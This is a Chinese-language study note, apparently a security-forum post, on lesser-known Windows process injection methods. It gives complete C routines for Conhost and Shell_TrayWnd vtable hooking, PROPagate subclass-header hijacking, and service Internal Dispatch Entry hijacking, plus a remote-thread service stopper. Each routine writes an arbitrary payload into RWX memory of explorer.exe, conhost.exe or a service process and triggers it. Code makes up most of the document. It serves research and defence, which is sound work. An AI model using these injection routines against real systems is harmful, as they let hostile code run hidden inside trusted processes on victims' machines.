Windows不太常见的进程注入学习小记(一)
2020-08-14 20:12:16 Author: bbs.pediy.com(查看原文) 阅读量:615 收藏

目录

以下是自学习相关进程注入时写的笔记。

HOOK Conhost.exe中保存的ConsoleWindowClass窗口类的虚表

控制台应用程序窗口所属于的窗口类为ConsoleWindowClass,窗口中保存的用户数据并不在控制台程序的地址空间之中,而在Conhost.exe之中。用户数据的第一个8字节或4字节中保存的是该类的虚表地址。

以修改ConHost中对于消息处理的虚函数表中的虚函数指针为手段,而Conhost.exe保存的用户数据在堆中是可写属性,导致了可以HOOK对应虚函数指针。

这个是Conhost中保存的控制台窗口类行为的虚表原型:

typedef struct _vftable_t {
    ULONG_PTR     EnableBothScrollBars;
    ULONG_PTR     UpdateScrollBar;
    ULONG_PTR     IsInFullscreen;
    ULONG_PTR     SetIsFullscreen;
    ULONG_PTR     SetViewportOrigin;
    ULONG_PTR     SetWindowHasMoved;
    ULONG_PTR     CaptureMouse;
    ULONG_PTR     ReleaseMouse;
    ULONG_PTR     GetWindowHandle;
    ULONG_PTR     SetOwner;
    ULONG_PTR     GetCursorPosition;
    ULONG_PTR     GetClientRectangle;
    ULONG_PTR     MapPoints;
    ULONG_PTR     ConvertScreenToClient;
    ULONG_PTR     SendNotifyBeep;
    ULONG_PTR     PostUpdateScrollBars;
    ULONG_PTR     PostUpdateTitleWithCopy;
    ULONG_PTR     PostUpdateWindowSize;
    ULONG_PTR     UpdateWindowSize;
    ULONG_PTR     UpdateWindowText;
    ULONG_PTR     HorizontalScroll;
    ULONG_PTR     VerticalScroll;
    ULONG_PTR     SignalUia;
    ULONG_PTR     UiaSetTextAreaFocus;
    ULONG_PTR     GetWindowRect;
} ConsoleWindow;

通过GetWindowLongPtr(hwnd, GWLP_USERDATA);可以获取用户数据地址,然后通过常规的ReadProcessMemory、WriteProcessMemory、VirtualAllocEx即可将对应的虚函数做更改。

整体代码如下:

VOID conhostInject(LPVOID payload, DWORD payloadSize) {
    HWND          hwnd;
    LONG_PTR      udptr;
    DWORD         pid, ppid;
    SIZE_T        wr;
    HANDLE        hp;
    ConsoleWindow cw;
    LPVOID        cs, ds;
    ULONG_PTR     vTable;

    // 1. 找到具有ConsoleWindowClass窗口类的窗口句柄
    hwnd = FindWindow(L"ConsoleWindowClass", NULL);
    //通过窗口句柄找到对应进程的PID
    GetWindowThreadProcessId(hwnd, &ppid);

    // 2. 通过对比进程名和父进程句柄找到Conhost进程的pid
    pid = conhostId(ppid);

    if (pid==0) {
      printf("parent id is %ld\nunable to obtain pid of conhost.exe\n", ppid);
      return;
    }
    // 3.打开conhost进程
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    // 4. 在conhost进程中申请可读可写可执行的堆空间用于保存自己的payload
    cs = VirtualAllocEx(hp, NULL, payloadSize, 
      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

    // 5. 找到ConsoleWindowClass窗口类中保存的虚函数地址
    udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);
    ReadProcessMemory(hp, (LPVOID)udptr, 
        (LPVOID)&vTable, sizeof(ULONG_PTR), &wr);

    // 6. 获取原本的虚表内容
    ReadProcessMemory(hp, (LPVOID)vTable, 
      (LPVOID)&cw, sizeof(ConsoleWindow), &wr);

    // 7. 在conhost进程中申请堆空间保存自定义的虚表内容。
    ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow), 
      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    // 8. 将虚表中保存的GetWindowHandle更改为自己的payload地址,然后将虚表的内容写入进程。
    cw.GetWindowHandle = (ULONG_PTR)cs;
    WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr); 

    // 9. 将虚表指针hook
    WriteProcessMemory(hp, (LPVOID)udptr, &ds, 
      sizeof(ULONG_PTR), &wr); 

    // 10. 发消息测试
    SendMessage(hwnd, WM_SETFOCUS, 0, 0);

    // 11. 更改为原来的虚表指针
    WriteProcessMemory(hp, (LPVOID)udptr, &vTable, 
      sizeof(ULONG_PTR), &wr);

    // 12. 释放内存。
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);

    CloseHandle(hp);
}

HOOK Shell_TrayWnd窗口类的虚表

可以看到explorer.exe之中具有窗口类。


和第一个没什么太大的不一样,唯一的区别是该窗口类的虚表常规的保存在创建窗口的进程之中。

原型:

typedef struct _ctray_vtable {
    ULONG_PTR vTable;    // change to remote memory address
    ULONG_PTR AddRef;    // add reference
    ULONG_PTR Release;   // release procedure
    ULONG_PTR WndProc;   // window procedure (change to payload)
} CTray;

typedef struct _ctray_obj {
    CTray *vtbl;
} CTrayObj;

代码:

VOID extraBytes(LPVOID payload, DWORD payloadSize){
    LPVOID    cs, ds;
    CTray     ct;
    ULONG_PTR ctp;
    HWND      hw;
    HANDLE    hp;
    DWORD     pid;
    SIZE_T    wr;

    hw = FindWindow(L"Shell_TrayWnd", NULL);

    GetWindowThreadProcessId(hw, &pid);

    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    ctp = GetWindowLongPtr(hw, 0);

    ReadProcessMemory(hp, (LPVOID)ctp, 
        (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);

    ReadProcessMemory(hp, (LPVOID)ct.vTable, 
      (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);

    cs = VirtualAllocEx(hp, NULL, payloadSize, 
      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

    ds = VirtualAllocEx(hp, NULL, sizeof(ct), 
      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    ct.vTable  = (ULONG_PTR)ds + sizeof(ULONG_PTR);
    ct.WndProc = (ULONG_PTR)cs;

    WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr); 

    SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);


    PostMessage(hw, WM_CLOSE, 0, 0);


    SetWindowLongPtr(hw, 0, ctp);


    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);

    CloseHandle(hp);
}

与窗口子类化有关注入——PROPagate

当窗口被子类化的时候,久的窗口过程并不会被删除,而是被存储在后台隐藏运行。存储的节点为UxSubclassInfo或者CC32SubclassInfo的属性之中;命名名称是根据comctl32.dll的版本来决定的。

版本6.x对应的名称是UxSubclassInfo;
版本5.x对应的名称是CC32SubclassInfo。

当使用SetWindowSubclass函数时,会调用SetProp 这个API会将旧的函数过程存储在UxSubclassInfo或者CC32SubclassInfo属性值中。当有对应的消息到来的时候,将会在子类化的窗口调用GetProp这个API获取旧的窗口过程并执行。(PS:以上是看资料总结的,总感觉理解上面有问题。如果有师傅比较较真的话,可以尝试自己子类化一个窗口,通过其句柄获取UxSubclassInfo属性,然后判断一下这个属性+0x18的偏移所保存的到底是旧的窗口过程还是新的窗口过程,还是说都有?只是调用的顺序不同?,如果有师傅做了实验的话不妨在下面告诉我一下,感激不尽)

这个属性的结构主要如下:

typedef struct _SUBCLASS_CALL {
  SUBCLASSPROC pfnSubclass;    // subclass procedure
  WPARAM       uIdSubclass;    // unique subclass identifier
  DWORD_PTR    dwRefData;      // optional ref data
} SUBCLASS_CALL, PSUBCLASS_CALL;

typedef struct _SUBCLASS_FRAME {
  UINT                    uCallIndex;   // index of next callback to call
  UINT                    uDeepestCall; // deepest uCallIndex on stack
  struct _SUBCLASS_FRAME  *pFramePrev;  // previous subclass frame pointer
  struct _SUBCLASS_HEADER *pHeader;     // header associated with this frame
} SUBCLASS_FRAME, PSUBCLASS_FRAME;

typedef struct _SUBCLASS_HEADER {
  UINT           uRefs;        // subclass count
  UINT           uAlloc;       // allocated subclass call nodes
  UINT           uCleanup;     // index of call node to clean up
  DWORD          dwThreadId;   // thread id of window we are hooking
  SUBCLASS_FRAME *pFrameCur;   // current subclass frame pointer
  SUBCLASS_CALL  CallArray[1]; // base of packed call node array
} SUBCLASS_HEADER, *PSUBCLASS_HEADER;

32位系统下可以看到在偏移0x18的处保存的窗口过程。

只需要在具有该窗口属性里的进程里将该回调函数进行HOOK,然后将其恢复即可,

在Win7和部分WIn10(最新版win10里没有)里经常使用该窗口,父类名Progman,子类名SHELLDLL_DefView。

VOID propagate(LPVOID payload, DWORD payloadSize) {
    HANDLE          hp, p;
    DWORD           id;
    HWND            pwh, cwh;
    SUBCLASS_HEADER sh;
    LPVOID          psh, pfnSubclass;
    SIZE_T          rd,wr;

    // 1. Obtain the parent window handle
    pwh = FindWindow(L"Progman", NULL);

    // 2. Obtain the child window handle
    cwh = FindWindowEx(pwh, NULL, L"SHELLDLL_DefView", NULL);

    // 3. Obtain the handle of subclass header
    p = GetProp(cwh, L"UxSubclassInfo");

    // GetProcessHandleFromHwnd
    // 4. Obtain the process id for the explorer.exe
    GetWindowThreadProcessId(cwh, &id);

    // 5. Open explorer.exe
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 6. Read the contents of current subclass header
    ReadProcessMemory(hp, (LPVOID)p, &sh, sizeof(sh), &rd);

    // 7. Allocate RW memory for a new subclass header
    psh = VirtualAllocEx(hp, NULL, sizeof(sh),
        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    // 8. Allocate RWX memory for the payload
    pfnSubclass = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 9. Write the payload to memory
    WriteProcessMemory(hp, pfnSubclass,
        payload, payloadSize, &wr);

    // 10. Set the pfnSubclass field to payload address, and write
    //    back to process in new area of memory
    sh.CallArray[0].pfnSubclass = (SUBCLASSPROC)pfnSubclass;
    WriteProcessMemory(hp, psh, &sh, sizeof(sh), &wr);

    // 11. update the subclass procedure with SetProp
    SetProp(cwh, L"UxSubclassInfo", psh);

    // 12. Trigger the payload via a windows message
    PostMessage(cwh, WM_CLOSE, 0, 0);

    // 13. Restore original subclass header
    SetProp(cwh, L"UxSubclassInfo", p);

    // 14. free memory and close handles
    VirtualFreeEx(hp, psh, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, pfnSubclass, 0, MEM_DECOMMIT | MEM_RELEASE);

    CloseHandle(hp);
}

通过HOOK服务的IDE来实现进程注入

每个Windows服务都有一个“控制处理程序”以从操作系统接收控制代码。根据服务愿意接受的内容,可以查询,启动,停止,暂停或恢复服务的更常见控制代码。指向控制处理程序的指针存储在堆上的数据结构中,Microsoft将其称为“内部调度项”(IDE)。(PS:以上是谷歌翻译的结果,这个描述怎么这么像SCM???)

Win 7的IDE结构

typedef struct _INTERNAL_DISPATCH_ENTRY {
    LPWSTR                  ServiceName;
    LPWSTR                  ServiceRealName;
    LPSERVICE_MAIN_FUNCTION ServiceStartRoutine;
    LPHANDLER_FUNCTION_EX   ControlHandler;
    HANDLE                  StatusHandle;
    DWORD                   ServiceFlags;
    DWORD                   Tag;
    HANDLE                  MainThreadHandle;
    DWORD                   dwReserved;
} INTERNAL_DISPATCH_ENTRY, *PINTERNAL_DISPATCH_ENTRY;

Win10的IDE结构

typedef struct _INTERNAL_DISPATCH_ENTRY {
    LPWSTR                  ServiceName;
    LPWSTR                  ServiceRealName;
    LPWSTR                  ServiceName2;       // Windows 10
    LPSERVICE_MAIN_FUNCTION ServiceStartRoutine;
    LPHANDLER_FUNCTION_EX   ControlHandler;
    HANDLE                  StatusHandle;
    DWORD64                 ServiceFlags;        // 64-bit on windows 10
    DWORD64                 Tag;
    HANDLE                  MainThreadHandle;
    DWORD64                 dwReserved;
    DWORD64                 dwReserved2;
} INTERNAL_DISPATCH_ENTRY, *PINTERNAL_DISPATCH_ENTRY;

通过HOOK IDE的ControlHandler字段,可以实现进程注入。

具体方法为:通过服务名得到服务的进程相关信息;在服务的进程之中通过搜索内存比对IDE的ServiceRealName和传入的服务名参数来找到IDE;将IDE中的ServiceFlags修改为SERVICE_CONTROL_INTERROGATE;然后HOOK IDE中的ControlHandler,通过SCM向其发送SERVICE_CONTROL_INTERROGATE的控制码,触发被HOOK的函数;然后恢复。

具体代码如下:

VOID SvcCtrlInject(PSERVICE_ENTRY se, LPVOID payload, DWORD payloadSize) {
    SIZE_T                  wr;
    SC_HANDLE               hm, hs;
    INTERNAL_DISPATCH_ENTRY ide;
    HANDLE                  hp;
    LPVOID                  cs;
    SERVICE_STATUS          ss;

    wprintf(L"[*] Attempting to inject PIC into \"%s\"...\n", se->process);

    // open the service control manager
    hm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
    if (hm != NULL) {
      // open target service
      hs = OpenService(hm, se->service, SERVICE_INTERROGATE);
      if (hs != NULL) {
        // open target process
        hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, se->pid);
        if (hp != NULL) {
          // allocate memory for payload
          cs = VirtualAllocEx(hp, NULL, payloadSize, 
            MEM_COMMIT, PAGE_EXECUTE_READWRITE);
          if (cs) {
            // write payload to process space
            WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
            // create backup of IDE
            memcpy(&ide, &se->ide, sizeof(ide));
            // point ControlHandler to payload
            ide.ControlHandler = cs;
            // change flags
            ide.ServiceFlags   = SERVICE_CONTROL_INTERROGATE;
            // update IDE in remote process
            WriteProcessMemory(hp, se->ide_addr, &ide, sizeof(ide), &wr);
            // trigger payload
            wprintf(L"[*] Set a breakpoint on %p\n", cs);
            getchar();
            ControlService(hs, SERVICE_CONTROL_INTERROGATE, &ss);
            xstrerror(L"ControlService");
            // free payload from memory
            VirtualFreeEx(hp, cs, payloadSize, MEM_RELEASE);
            // restore original IDE
            WriteProcessMemory(hp, se->ide_addr, 
              &se->ide, sizeof(ide), &wr);
          } else xstrerror(L"VirtualAllocEx");
          CloseHandle(hp);      // close process
        } else xstrerror(L"OpenProcess");
        CloseServiceHandle(hs); // close service
      } else xstrerror(L"OpenService");
      CloseServiceHandle(hm);   // close manager
    }
}

其也可以通过远程创建线程的方式关闭服务。

BOOL StopService(PSERVICE_ENTRY se){
    DWORD                   evt;
    HANDLE                  hThread, hProcess;
    RtlCreateUserThread_t   pRtlCreateUserThread;
    BOOL                    bResult=FALSE;

    wprintf(L"[*] Attempting to stop service...\n");

    hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, se->pid);

    if(hProcess == NULL) {
      xstrerror(L"StopService::OpenProcess");
      return 0;
    }
    // resolve address of RtlCreateUserThread
    // CreateRemoteThread won't work here..
    pRtlCreateUserThread=
      (RtlCreateUserThread_t)GetProcAddress(
      LoadLibrary(L"ntdll"), "RtlCreateUserThread");

    // got it?
    if (pRtlCreateUserThread!=NULL) {
      // execute the ControlHandler in remote process space
      pRtlCreateUserThread(hProcess, NULL, FALSE,
          0, NULL, NULL, se->ide.ControlHandler,
          (LPVOID)SERVICE_CONTROL_STOP, &hThread, NULL);

      bResult = (hThread != NULL);

      // if thread created
      if (bResult) {
        // wait 5 seconds for termination
        evt = WaitForSingleObject(hThread, 5*1000);
        bResult = (evt == WAIT_OBJECT_0);

        CloseHandle(hThread);
      }
      wprintf(L"[*] Service %s stopped.\n", 
        bResult ? L"successfully" : L"unsuccessfully");
    }
    CloseHandle(hProcess);
    return bResult;
}

参考文章

2020,给你一个诚意满满的夏令营!

最后于 2小时前 被不懂就不懂编辑 ,原因:


文章来源: https://bbs.pediy.com/thread-261451.htm
如有侵权请联系:admin#unsafe.sh